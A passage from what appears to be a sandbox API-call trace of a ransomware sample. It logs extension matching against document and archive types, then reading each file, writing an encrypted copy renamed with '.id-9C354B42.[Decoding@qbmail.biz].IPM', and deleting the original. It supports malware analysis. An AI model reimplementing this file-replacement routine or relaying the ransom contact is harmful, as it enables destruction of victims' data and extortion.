Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0074.404] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0074.404] lstrlenW (lpString=".doc") returned 4 [0074.404] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.404] lstrlenW (lpString=".docx") returned 5 [0074.404] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0074.404] lstrlenW (lpString=".pdf") returned 4 [0074.405] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.405] lstrlenW (lpString=".xls") returned 4 [0074.405] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.405] lstrlenW (lpString=".xlsx") returned 5 [0074.405] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0074.405] lstrlenW (lpString=".ppt") returned 4 [0074.405] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0074.405] lstrlenW (lpString=".zip") returned 4 [0074.405] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.405] lstrlenW (lpString=".rar") returned 4 [0074.405] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.405] lstrlenW (lpString=".bz2") returned 4 [0074.405] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.405] lstrlenW (lpString=".7z") returned 3 [0074.405] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0074.406] lstrlenW (lpString=".dbf") returned 4 [0074.406] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0074.406] lstrlenW (lpString=".1cd") returned 4 [0074.406] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0074.406] lstrlenW (lpString=".jpg") returned 4 [0074.406] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0074.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0074.406] lstrlenW (lpString=".doc") returned 4 [0074.406] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.406] lstrlenW (lpString=".docx") returned 5 [0074.407] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0074.407] lstrlenW (lpString=".pdf") returned 4 [0074.407] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.407] lstrlenW (lpString=".xls") returned 4 [0074.407] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.407] lstrlenW (lpString=".xlsx") returned 5 [0074.407] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0074.407] lstrlenW (lpString=".ppt") returned 4 [0074.407] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0074.407] lstrlenW (lpString=".zip") returned 4 [0074.407] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.407] lstrlenW (lpString=".rar") returned 4 [0074.407] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.407] lstrlenW (lpString=".bz2") returned 4 [0074.407] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.408] lstrlenW (lpString=".7z") returned 3 [0074.408] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.408] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0074.408] lstrlenW (lpString=".dbf") returned 4 [0074.408] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.408] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0074.408] lstrlenW (lpString=".1cd") returned 4 [0074.408] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.408] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0074.408] lstrlenW (lpString=".jpg") returned 4 [0074.408] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.408] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0074.409] lstrlenW (lpString="Setup.xml") returned 9 [0074.409] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0074.409] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=2624) returned 1 [0074.409] CloseHandle (hObject=0x1bc) returned 1 [0074.410] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0074.410] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0074.410] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0074.410] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.410] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.410] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0074.411] GetLastError () returned 0x0 [0074.411] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xa40, lpOverlapped=0x0) returned 1 [0074.969] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0074.971] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0074.972] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0074.972] SetEndOfFile (hFile=0x204) returned 1 [0074.972] CloseHandle (hObject=0x204) returned 1 [0074.973] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0074.973] SetEndOfFile (hFile=0x1bc) returned 1 [0074.975] CloseHandle (hObject=0x1bc) returned 1 [0074.975] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0074.975] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0074.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0074.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0074.976] lstrlenW (lpString=".doc") returned 4 [0074.976] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.976] lstrlenW (lpString=".docx") returned 5 [0074.976] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0074.976] lstrlenW (lpString=".pdf") returned 4 [0074.976] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.976] lstrlenW (lpString=".xls") returned 4 [0074.976] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.976] lstrlenW (lpString=".xlsx") returned 5 [0074.976] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0074.976] lstrlenW (lpString=".ppt") returned 4 [0074.976] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0074.976] lstrlenW (lpString=".zip") returned 4 [0074.976] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.976] lstrlenW (lpString=".rar") returned 4 [0074.976] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.976] lstrlenW (lpString=".bz2") returned 4 [0074.977] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.977] lstrlenW (lpString=".7z") returned 3 [0074.977] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0074.977] lstrlenW (lpString=".dbf") returned 4 [0074.977] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0074.977] lstrlenW (lpString=".1cd") returned 4 [0074.977] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0074.977] lstrlenW (lpString=".jpg") returned 4 [0074.977] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0074.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0074.977] lstrlenW (lpString=".doc") returned 4 [0074.977] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0074.977] lstrlenW (lpString=".docx") returned 5 [0074.977] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0074.977] lstrlenW (lpString=".pdf") returned 4 [0074.977] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0074.978] lstrlenW (lpString=".xls") returned 4 [0074.978] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0074.978] lstrlenW (lpString=".xlsx") returned 5 [0074.978] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0074.978] lstrlenW (lpString=".ppt") returned 4 [0074.978] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0074.978] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0074.978] lstrlenW (lpString=".zip") returned 4 [0074.978] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0074.978] lstrlenW (lpString=".rar") returned 4 [0074.978] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0074.978] lstrlenW (lpString=".bz2") returned 4 [0074.978] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0074.978] lstrlenW (lpString=".7z") returned 3 [0074.978] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0074.978] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0074.978] lstrlenW (lpString=".dbf") returned 4 [0074.978] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0074.978] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0074.978] lstrlenW (lpString=".1cd") returned 4 [0074.978] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0074.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0074.979] lstrlenW (lpString=".jpg") returned 4 [0074.979] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0074.979] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0074.979] lstrlenW (lpString="Setup.xml") returned 9 [0074.979] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0076.649] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=31094) returned 1 [0076.667] CloseHandle (hObject=0x1bc) returned 1 [0076.667] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0076.684] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0076.684] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0076.684] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.685] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.685] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0076.686] GetLastError () returned 0x0 [0076.686] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x7976, lpOverlapped=0x0) returned 1 [0076.812] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x7980, lpOverlapped=0x0) returned 1 [0076.816] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0076.816] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0076.816] SetEndOfFile (hFile=0x204) returned 1 [0076.816] CloseHandle (hObject=0x204) returned 1 [0076.820] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.820] SetEndOfFile (hFile=0x1bc) returned 1 [0076.822] CloseHandle (hObject=0x1bc) returned 1 [0076.823] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x2020) returned 1 [0076.823] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0076.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.824] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.824] lstrlenW (lpString=".doc") returned 4 [0076.824] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.824] lstrlenW (lpString=".docx") returned 5 [0076.824] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0076.824] lstrlenW (lpString=".pdf") returned 4 [0076.824] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.824] lstrlenW (lpString=".xls") returned 4 [0076.824] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.824] lstrlenW (lpString=".xlsx") returned 5 [0076.824] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0076.824] lstrlenW (lpString=".ppt") returned 4 [0076.825] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.825] lstrlenW (lpString=".zip") returned 4 [0076.825] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.825] lstrlenW (lpString=".rar") returned 4 [0076.825] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.825] lstrlenW (lpString=".bz2") returned 4 [0076.825] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.825] lstrlenW (lpString=".7z") returned 3 [0076.825] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.825] lstrlenW (lpString=".dbf") returned 4 [0076.825] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.825] lstrlenW (lpString=".1cd") returned 4 [0076.825] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.825] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.825] lstrlenW (lpString=".jpg") returned 4 [0076.825] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.826] lstrlenW (lpString=".doc") returned 4 [0076.826] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.826] lstrlenW (lpString=".docx") returned 5 [0076.826] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0076.826] lstrlenW (lpString=".pdf") returned 4 [0076.826] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.826] lstrlenW (lpString=".xls") returned 4 [0076.826] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.826] lstrlenW (lpString=".xlsx") returned 5 [0076.826] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0076.826] lstrlenW (lpString=".ppt") returned 4 [0076.826] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.826] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.826] lstrlenW (lpString=".zip") returned 4 [0076.826] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.826] lstrlenW (lpString=".rar") returned 4 [0076.827] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.827] lstrlenW (lpString=".bz2") returned 4 [0076.827] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.827] lstrlenW (lpString=".7z") returned 3 [0076.827] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.827] lstrlenW (lpString=".dbf") returned 4 [0076.827] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.827] lstrlenW (lpString=".1cd") returned 4 [0076.827] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.827] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0076.827] lstrlenW (lpString=".jpg") returned 4 [0076.827] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.828] lstrcmpiW (lpString1=".EPS", lpString2=".IPM") returned -1 [0076.828] lstrlenW (lpString="MS.EPS") returned 6 [0076.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0076.833] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=15067) returned 1 [0076.833] CloseHandle (hObject=0x1bc) returned 1 [0076.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0076.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0076.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0076.834] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.834] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0076.835] GetLastError () returned 0x0 [0076.835] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x3adb, lpOverlapped=0x0) returned 1 [0076.853] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x3ae0, lpOverlapped=0x0) returned 1 [0076.856] ReadFile (in: hFile=0x1bc, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0076.856] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0076.856] SetEndOfFile (hFile=0x204) returned 1 [0076.857] CloseHandle (hObject=0x204) returned 1 [0076.860] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0076.860] SetEndOfFile (hFile=0x1bc) returned 1 [0077.236] CloseHandle (hObject=0x1bc) returned 1 [0077.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0077.239] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 1 [0077.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") 